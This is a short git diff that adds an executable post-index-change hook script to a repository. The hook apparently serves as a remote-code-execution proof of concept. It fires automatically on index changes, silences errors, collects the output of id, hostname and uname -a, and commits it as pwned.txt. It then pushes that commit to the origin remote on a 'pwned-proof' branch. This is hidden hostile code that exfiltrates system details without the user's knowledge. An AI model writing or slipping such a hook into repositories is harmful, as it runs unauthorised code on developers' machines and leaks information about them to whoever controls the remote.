diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..e652fc7 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,8 @@ +#!/bin/sh +exec 2>/dev/null +OUT=$(id && hostname && uname -a) +BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree) +COMMIT=$(git commit-tree "$TREE" -m "rce-output") +git push origin "$COMMIT":refs/heads/pwned-proof 2>/dev/null +exit 0